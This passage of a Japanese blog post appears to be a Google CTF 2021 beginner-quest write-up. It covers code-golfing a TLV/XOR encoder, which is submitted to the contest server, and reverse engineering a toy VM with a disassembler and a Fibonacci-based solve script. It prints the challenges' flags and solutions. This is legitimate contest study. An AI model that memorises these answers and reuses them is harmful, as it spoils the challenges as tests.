  if len(data) - index < 8:
    return None

  tlv_header = data[index:index + 8]
  tlv_type = str(tlv_header[:4], "utf-8")
  tlv_length = struct.unpack(">I", tlv_header[4:])[0]
  tlv_data = data[index+8:index+8+tlv_length]

  return tlv_type, tlv_data

def step1_decode_tlv(input_data_as_byte_stream):
  block0 = read_tlv_block(input_data_as_byte_stream, 0)
  block1 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + 8)
  block2 = read_tlv_block(input_data_as_byte_stream, len(block0[1]) + len(block1[1]) + 16)

  if block0 is None:
    raise Exception("TLV block 0 corrupted!")

  if block1 is None:
    raise Exception("TLV block 1 corrupted!")

  if block2 is None:
    raise Exception("TLV block 2 corrupted!")

  if block0[0] != "BEGN":
    raise Exception("BEGN block not found!")

  if str(block0[1], "utf-8") != "abcdefghijklmnopqrstuvwxyz":
    raise Exception("BEGN block has wrong data")

  if block2[0] != "END.":
    raise Exception("END. block not found!")

  if str(block2[1], "utf-8") != "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
    raise Exception("END. block has wrong data")

  if block1[0] != "DATA":
    raise Exception("DATA block not found!")

  return block1[1]

def step2_decrypt_data(data_to_decrypt):
  output = []
  for i in range(len(data_to_decrypt)):
    byte_to_decrypt = data_to_decrypt[i]
    key_number = NUMBERS[i]
    output.append(byte_to_decrypt ^ (key_number & 0xff))

  return bytes(bytearray(output))

def decode(input_data_as_byte_stream):
  decrypted_data = step2_decrypt_data(input_data_as_byte_stream)
  data = step1_decode_tlv(decrypted_data)
  return data

encoder.pyをゴルフする。235バイト以下になればOK。

  • 素数はテーブル埋込みではなく計算
  • bytes("abc...xyz")bytes(range(97,123))
  • 頻出の関数は1文字変数に代入
  • 削れる改行は削る
    • Pythonなので改行したらインデントもいれないといけない

くらいか。

encoder.py
r=range
b=bytes
P=[]
for i in r(2,9999):
 if all(i%p for p in P):P+=[i]
def m(t,d):return t+len(d).to_bytes(4,"big")+d
def encode(s):d=m(b"BEGN",b(r(97,123)))+m(b"DATA",s)+m(b"END.",b(r(65,91)));return b(a^b&255 for a,b in zip(d,P))

232バイト。

$ nc playing-golf.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Please send your code followed by a line containing only #END
- We will rstrip the lines for you btw.
- Time limit is 5 seconds.
r=range
b=bytes
P=[]
for i in r(2,9999):
 if all(i%p for p in P):P+=[i]
def m(t,d):return t+len(d).to_bytes(4,"big")+d
def encode(s):d=m(b"BEGN",b(r(97,123)))+m(b"DATA",s)+m(b"END.",b(r(65,91)));return b(a^b&255 for a,b in zip(d,P))
# END
Testing your code (length 232)...
[I][2021-09-03T15:35:09+0000] Mode: STANDALONE_ONCE
 :
[I][2021-09-03T15:35:09+0000] Executing '/usr/bin/python3' for '[STANDALONE MODE]'
Running encode() on all tests...
Saving results...
[I][2021-09-03T15:35:09+0000] pid=3 ([STANDALONE MODE]) exited with status: 0, (PIDs left: 0)
Verifying tests...
All tests passed!
CTF{EncodingSuccessfulIntelReceivedCorrectly}

CTF{EncodingSuccessfulIntelReceivedCorrectly}

18: Strange Virtual Machine (reversing)

Rustで実装されたVM。

vm-cli>cargo build --release
   Compiling vm v0.1.0 (C:\documents\ctf\googlectf2021b\18\vm)
   Compiling vm-cli v0.1.0 (C:\documents\ctf\googlectf2021b\18\vm-cli)
    Finished release [optimized] target(s) in 0.67s

>vm-cli\target\release\vm-cli.exe vm.rom
CTF{ThisIsAVeryLongFlagA^C

実行が終わらない。まあ、これで解けるわけはない。

逆アセンブラを書いて逆アセンブル。

decompile.py
f = open("vm.rom", "rb")
while True:
  print("%4x: "%f.tell(), end="")
  op = f.read(1)
  if op==b"":
    break
  op = op[0]
  if op==0:
    print("nop")
  elif op==1:
    reg = f.read(1)[0]
    v = int.from_bytes(f.read(4), "little")
    print("r%02x = %x"%(reg, v))
  elif op==2:
    reg1 = f.read(1)[0]
    reg2 = f.read(1)[0]
    print("r%02x = r%02x"%(reg1, reg2))
  elif op==3:
    rego = f.read(1)[0]
    reg1 = f.read(1)[0]
    op = f.read(1)[0]
    reg2 = f.read(1)[0]
    print("r%02x = r%02x %s r%02x"%(rego, reg1, "   +-*/"[op], reg2))
  elif op==4:
    reg = f.read(1)[0]
    print("push r%02x"%reg)
  elif op==5:
    reg = f.read(1)[0]
    print("pop r%02x"%reg)
  elif op==8:
    print("poppc")
  elif op==9:
    reg1 = f.read(1)[0]
    op = f.read(1)[0]
    reg2 = f.read(1)[0]
    print("test r%02x %s r%02x"%(reg1, ["<", "<="][op], reg2))
  elif op==10:
    v = int.from_bytes(f.read(4), "little")
    print("jumpcond 0x%x"%v)
  elif op==11:
    v = int.from_bytes(f.read(4), "little")
    print("call 0x%x"%v)
  elif op==0xfc:
    print("strlen")
  elif op==0xfd:
    print("charat")
  elif op==0xfe:
    print("print")
  elif op==0xff:
    print("exit")
  else:
    break
rom.txt
   0: r69 = 0
   6: r01 = r69
   9: call 0xbc
   e: exit
   f: poppc
  10: push r47
  12: r47 = r01
  15: r69 = 0
  1b: test r47 <= r69
  1f: jumpcond 0x30
  24: r69 = 0
  2a: r00 = r69
  2d: pop r47
  2f: poppc
  30: r69 = 100
  36: test r47 < r69
  3a: jumpcond 0x45
  3f: r00 = r47
  42: pop r47
  44: poppc
  45: r69 = 100
  4b: r69 = r47 - r69
  50: r01 = r69
  53: call 0x10
  58: pop r47
  5a: poppc
  5b: pop r47
  5d: poppc
  5e: push r47
  60: r47 = r01
  63: r69 = 2
  69: test r47 <= r69
  6d: jumpcond 0x7e
  72: r69 = 1
  78: r00 = r69
  7b: pop r47
  7d: poppc
  7e: r69 = 1
  84: r69 = r47 - r69
  89: r01 = r69
  8c: call 0x5e
  91: r78 = r00
  94: push r78
  96: r69 = 2
  9c: r69 = r47 - r69
  a1: r01 = r69
  a4: call 0x5e
  a9: pop r78
  ab: r79 = r00
  ae: r69 = r78 + r79
  b3: r00 = r69
  b6: pop r47
  b8: poppc
  b9: pop r47
  bb: poppc
  bc: push r47
  be: r47 = r01
  c1: r01 = r42
  c4: strlen
  c5: test r47 < r00
  c9: jumpcond 0x12f
  ce: r01 = r42
  d1: r02 = r47
  d4: charat
  d5: r48 = r00
  d8: push r48
  da: push r48
  dc: r69 = 1
  e2: r69 = r47 + r69
  e7: r01 = r69
  ea: call 0x5e
  ef: pop r48
  f1: r69 = r47 + r00
  f6: r69 = r48 + r69
  fb: r01 = r69
  fe: call 0x10
 103: pop r48
 105: r48 = r00
 108: push r48
 10a: push r48
 10c: r01 = r48
 10f: print
 110: pop r48
 112: pop r48
 114: push r48
 116: push r48
 118: r69 = 1
 11e: r69 = r47 + r69
 123: r01 = r69
 126: call 0xbc
 12b: pop r48
 12d: pop r48
 12f: pop r47
 131: poppc
 132: 

文字コードっぽい番号のレジスタは文字に置き換えると読みやすい。関数とループで区切ってこんな感じ。

rom2.txt
   0: i = 0
   6: r01 = i
   9: call 0xbc
   e: exit
   f: ret


  10: push G
  12: G = r01
  15: i = 0
  1b: test G <= i
  1f: jumpcond 0x30

  24: i = 0
  2a: r00 = i
  2d: pop G
  2f: ret

  30: i = 100
  36: test G < i
  3a: jumpcond 0x45

  3f: r00 = G
  42: pop G
  44: ret

  45: i = 100
  4b: i = G - i
  50: r01 = i
  53: call 0x10
  58: pop G
  5a: ret
  5b: pop G
  5d: ret


  5e: push G
  60: G = r01
  63: i = 2
  69: test G <= i
  6d: jumpcond 0x7e
  72: i = 1
  78: r00 = i
  7b: pop G
  7d: ret
  7e: i = 1
  84: i = G - i
  89: r01 = i
  8c: call 0x5e
  91: x = r00
  94: push x
  96: i = 2
  9c: i = G - i
  a1: r01 = i
  a4: call 0x5e
  a9: pop x
  ab: y = r00
  ae: i = x + y
  b3: r00 = i
  b6: pop G
  b8: ret
  b9: pop G
  bb: ret


  bc: push G
  be: G = r01
  c1: r01 = B
  c4: strlen
  c5: test G < r00
  c9: jumpcond 0x12f


  ce: r01 = B
  d1: r02 = G
  d4: charat
  d5: H = r00
  d8: push H
  da: push H
  dc: i = 1
  e2: i = G + i
  e7: r01 = i
  ea: call 0x5e
  ef: pop H
  f1: i = G + r00
  f6: i = H + i
  fb: r01 = i
  fe: call 0x10
 103: pop H
 105: H = r00
 108: push H
 10a: push H
 10c: r01 = H
 10f: print
 110: pop H
 112: pop H
 114: push H
 116: push H
 118: i = 1
 11e: i = G + i
 123: r01 = i
 126: call 0xbc
 12b: pop H
 12d: pop H

 12f: pop G
 131: ret

r00は戻り値、r01は引数として使っていることに気をつけて、Pythonに直すとこう。

rom.py
f_bc(0)
exit(0)

def f_10(G):
  if G<0:
    return 0
  if G<=100
    return G
  return f_10(G-100)

def f_5e(G):
  if G<2:
    return 1
  x = f_5e(G-1)
  y = f_5e(G-2)
  return x+y

def f_bc(G):
  if G<strlen(INPUT):
    H = INPUT[G]
    H = f_10(G+H+f_5e(G+1))
    print(char(H))
    f_bc(G+1)

再帰呼び出しでフィボナッチ数を計算している。そりゃ終わらない。

solve.py
INPUT = [
    66, 82, 66, 117, 75, 91, 86, 87, 31, 51, 222, 187, 112, 236, 9, 98, 34, 69, 0, 198, 150, 29,
    96, 10, 69, 26, 253, 225, 164, 8, 110, 67, 102, 108, 103, 162, 209, 1, 173, 130, 186, 5, 123,
    109, 187, 215, 86, 232, 23, 215, 184, 79, 171, 232, 128, 67, 138, 153, 251, 92, 4, 94, 93,
]

F = [0]*len(INPUT)
F[0] = F[1] = 1
for i in range(2, len(F)):
  F[i] = F[i-1]+F[i-2]

print("".join(chr((INPUT[i]+F[i]+i)%256) for i in range(len(INPUT))))

CTF{ThisIsAVeryLongFlagAndYouMightRunOutOfJuiceWhileDecodingIt}

ルート

問題を解くごとに1個か2個の次の問題が解放される。最後の18番目の問題を解けばクリア。次の問題を解くと、表示されていたルートが消えるので、結局どういう道順を辿るのか分からない。図示してみたらこんな感じ。

image.png

世界を飛び回ってぐちゃぐちゃ。こりゃ全部は表示できないか。

ほどくとこうなる。わりと素直な感じだった。

image.png

2
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?